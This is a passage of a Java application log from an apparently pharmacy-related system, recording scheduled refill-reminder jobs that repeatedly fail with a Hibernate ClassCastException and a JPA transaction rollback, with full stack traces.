com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 